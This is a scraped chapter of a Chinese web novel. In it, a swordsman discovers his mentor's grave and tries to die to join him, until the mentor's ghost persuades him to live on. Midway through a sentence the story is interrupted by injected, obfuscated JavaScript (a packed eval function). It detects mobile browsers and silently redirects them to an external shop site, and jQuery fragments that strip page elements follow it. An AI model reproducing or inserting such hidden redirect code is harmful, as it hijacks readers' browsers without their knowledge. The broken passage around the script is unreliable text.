文趣网 > 其他小说 > 卡BUG通关被阴湿信徒缠上了 > 62. 不用回头
    时光荏苒,白驹过隙。

    昔日的少年终于长成了赫赫有名的仙师。他常年一身素衣,背负长刀,眉宇间那股戾气被岁月沉淀成了让人不敢直视的威压。

    这一日,谢灼带着几个刚入门的小弟子下山除妖。

    那几个孩子也不过十四五岁,正是闹腾的年纪,围在他身边叽叽喳喳。谢灼虽冷着脸,却还是耐心地指点了几句剑招,恍惚间,沈行舟仿佛看到了当年那个在破庙里被逼着练字的少年。

    除完妖,回山途中路过清河村地界。

    谢灼停下了脚步。

    “你们先回去。”他对弟子们说道。

    遣散了众人,他独自一人,熟门熟路地折向了那条荒废已久的山道。

    那座破庙更破了,几乎快要塌了。

    但谢灼并不在意。他像往常一样,挽起袖子,将庙里的灰尘清扫干净,又去后院看了看那几垄早就荒废的菜地。

    收拾完一切,他鬼使神差地绕到了后山。

    或许是想去看看当年练功劈断的那棵树,又或许只是想吹吹风。

    然而,当他拨开齐腰深的杂草时,脚步却钉在了原地。

    在后山那棵老歪脖子树下,不知何时,多出了一座孤坟。

    坟包不高,甚至有些简陋,显然是村里人草草堆砌的。木制的墓碑经过风吹雨淋,已经有些腐朽发黑,但上面刻着的字迹,依旧如一道惊雷,狠狠劈进了谢灼的眼底。

    【恩公沈行舟之墓】

    沈行舟飘在一旁,也被这就突如其来的墓碑搞懵了。

    谁干的?

    他有些慌乱地过去挡住墓碑,可透明的身体根本遮不住任何视线。

    泥水飞起来,沈行舟眼睁睁地看着泥点子溅在自己衣角,又穿了过去。

    他只能看着,看着墓碑倒在一边,泥土翻乱,直到谢灼的动作停住了。

    沈行舟低头默默地看着,腐败处是一块黑灰色。

    是一片草席。

    谢灼颤抖着手,缓缓揭开了草席的一角。

    皮肉早已腐烂化泥,但那身熟悉的白色道袍还残留在白骨之上。

    谢灼跪在那里,久久没有动,也没有说话。

    沈行舟站在坑边,看着坑底那具属于自己的骸骨。

    他不知道该说什么,脑子里是一团乱麻。他想自己难道真的死了?什么时候的事?又是谁给他立的碑?想来想去,又叹了口气,想他尸体毁了不就好了,一把火烧个干净,埋在这里作甚。

    怎么他这人,死了还会惹麻烦。

    冰凉的雨丝飘落下来,淅淅沥沥的,很快便打湿了山林。

    沈行舟抬头看天,只觉得这雨似乎并不是今天才下的。它好像从十多年前那个分别的日子就开始下了,一直下在谢灼的心里,潮湿了十多年,并且还会永无止境地淋下去。

    谢灼跪在漫天的雨幕里,沉默地低下头,用那双满是泥泞的手,又笨拙的刨了一个坑。

    他动作轻柔地将草席卷好,小心翼翼地将尸骨放了进去,再捧起湿润的黄土,一层一层,细致地盖上。

    沈行舟轻轻叹了口气,露出了一个释然的笑。

    也好。

    他想,这说不定也算件好事呢。

    总好过守着一个永远不会回来的虚空,抱着那点微末的希望,日复一日地把自己熬干。找到了,这漫长的刑期也就该结束了。

    回去睡一觉,明天就该回宗门做他的仙师了。

    沈行舟虚虚地摸了摸谢灼湿透的发顶,轻声道:“回去吧。不用等了。”

    谢灼似乎真的听到了。

    他撑着膝盖,摇摇晃晃地站了起来,提着那把满是泥水的长刀,转身走回了破庙。

    他先是去井边打了水,仔仔细细地洗净了手上的泥污和血迹,又烘干了湿透的衣袍。然后,他走到了供桌前,将纸条拿了起来。

    沈行舟以为他要撕了。

    可谢灼只是摩挲了一下那个歪歪扭扭的萝卜花,然后将纸条叠得整整齐齐,塞进了贴近心口的衣襟里。

    紧接着,他跪在桌下,侧身躺在了地上,蜷缩起身体,将脸贴在冰冷的地板上。

    庙里静得可怕。

    他似乎在熟睡,呼吸轻浅,眉目舒展。

    然而,沈行舟却突然感觉到周遭的空气开始剧烈波动。一缕殷红的鲜血,顺着谢灼的嘴角蜿蜒而下,紧接着是鼻腔、耳孔……最后,连那闭着的眼角都渗出了血泪,在他苍白的脸上划出凄艳的痕迹。

    沈行舟这才知道他起的什么心思。

    他没有愤怒,只有一种铺天盖地的酸涩和无力。他看着那个意气风发的少年,为了追随一个亡魂,把自己折磨成了这副枯槁模样。

    这不是他想要的结果。

    他救谢灼,是想看他高楼起,看他宴宾客,看他仗剑去看不一样的山河,而不是看他烂在这座破庙里当个守坟的孤魂野鬼。

    一声极轻的叹息,带着无奈和温热的气息,落在了谢灼的耳畔。

    谢灼眼睫一颤。

    这声音太熟悉了,瞬间唤醒了他濒临溃散的神智。

    他费力地睁开眼,视线模糊中,看到了一袭白衣。

    “……是你吗?”

    他微微仰起头,嘴角勉强扯出一个讨好的笑,眼角却红得像要滴血:“你舍得回来了?带我走吧。这里太冷了,我想跟你走。”

    沈行舟心口发疼。

    他顺势坐在了蒲团上,让他的头枕在自己腿上,手指有一搭没一搭地梳理着他凌乱的卷发。

    沈行舟让自己的声音尽量平稳,轻声问:“怎么把自己搞成这样,那个在宗门大比上把别人打趴下的家伙去哪了?那个说要带我去看云海的小子去哪了?”

    谢灼明明已成人多年,此刻却似乎回到了小时候,在他掌心里蹭了蹭,小声道:“你又不在,赢了也没意思。”

    沈行舟轻轻摩挲了一下他的脸,道:“我在的时候,可没教你这么折腾自己的。”

    “可是我疼……”谢灼终于忍不住了,眼泪顺着眼角滑落,浸湿了沈行舟的衣摆,“先生……我浑身都疼,哪里都疼。”

    “我知道,我知道你疼,我都知道。”沈行舟低下头,虚虚地吻了一下他的额头,“我在这里,你会觉得好些吗?”

    谢灼死死抓着他的衣袖:“你还会走吗?”

    “谢灼啊,”沈行舟没有直接回答。他只是喊了他的名字。

    “在你心里,你把自己看作什么?”沈行舟问道,“你把自己看作一个跟我一样的人吗?”

    谢灼怔怔地看着他:“你是神仙,我是凡人,你自然是不同的。”

    沈行舟笑道:“你把我看做神,你就觉得,你是藤蔓,我是大树,我走了,你就只能枯死,是么?”

    谢灼茫然地张了张嘴。

    “可是你不是。”

    沈行舟在他脑门上轻轻

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618618|206138||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    弹了一下。

    “你是人。是一个独立的、活生生的人。”

    “在没有遇到我之前的十几年里,你也很好的活着,虽然可能日子是有些不好过。”他轻声笑了一下,接着道,“之后你遇到了我,其实日子也没有好到哪里去。跟着我住破庙,吃糟糕的东西。”

    “不一样的!”

    谢灼紧紧抓着他的衣服,颤抖道:“……不一样的。”

    沈行舟重新抚上他的头发,笑道:“我知道,我能感受到,你很喜欢和我在一起。我也很喜欢和你在一起。和你一起生活的每个日子,我睁开眼,都会觉得很开心。”

    他低下头,额头抵住他的额头:“谢灼,可人这一辈子,总要学会在没有谁的日子里也能好好吃饭,好好睡觉。”

    “你把我当成神,当成光,但这太重了,我背不动。”

    沈行舟看着他的眼睛,认真道:“我是个懒人,你知道的。活着的时候我就不想动弹,我更不想即便死了,还要背着另一条人命。那会让我不安心的。”

    谢灼终于忍不住,积压了十几年的委屈和思念在这一刻决堤,眼泪滚落:“可是我想你……我很想你……”

    “那就想,你可以一直想着我,把我想进骨子里。”

    沈行舟笑了笑,指尖点在他的心口,按了按:“把我装在这里。”

    “带着我去看那些我没见过的风景,去吃那些我没吃过的东西。你若死了,我就真的变成了孤魂野鬼,这世上再没人记得我。可你若活着,我也就还在。”

    “你要去看你想看的,去做你想做的,带着我,带着你丢掉的所有东西,错过的所有的人,往前走,去属于你的广阔天地。”

    沈行舟伸出小指,勾住了谢灼的手指:“不要回头。只要你走下去,我会在路的最后等你。一言为定,好不好?”

    “……好。”

    他闭上眼,滚烫的眼泪砸在沈行舟的手背上。许久,他重新睁开那双幽绿的眸子,声音沙哑却坚定:“我要带着你,活下去。”

    “这才是好孩子。”

    周围的夜雨骤停。

    那座破败的山神庙、还有那让人绝望的十数年光阴,如同镜花水月般寸寸崩裂,化作无数碎片消散在虚空之中。

    无边的黑暗如潮水般退去,幽暗的微光星星点点浮现。

    “哈……”

    沈行舟猛地睁开眼,大口喘着气,后背已经被冷汗湿透。

    身边,谢灼正半跪在地上,手中的长刀深深插进岩石里,支撑着摇摇欲坠的身体。他满脸都是泪水,眼神却在迷茫中逐渐聚焦,变得清明。

    少年一声暴喝,手中长刀猛地向上一撩!

    “轰隆——”

    一道雪亮的刀光冲天而起,如同惊雷撕裂长夜,硬生生劈开了头顶那厚重压抑的岩层与黑暗!

    整个深渊仿佛被这一刀劈了个底朝天。

    碎石崩飞,尘埃落定。

    久违的阳光顺着巨大的裂缝倾泻而下,照亮了这阴暗的洞穴。只见裂缝之外,不再是漆黑的岩壁。

    脚下是波光粼粼、奔流不息的江水,而头顶,是翻涌的、浩瀚无垠的金色云海。

    光芒万丈。

    谢灼跪在光里,仰头看着他,那双眼睛里盛满了细碎的阳光和泪水,亮得惊人。

    他指着那片浩瀚的金色,声音颤抖道:“先生,你看——我会带你去看云海的。我说到做到。”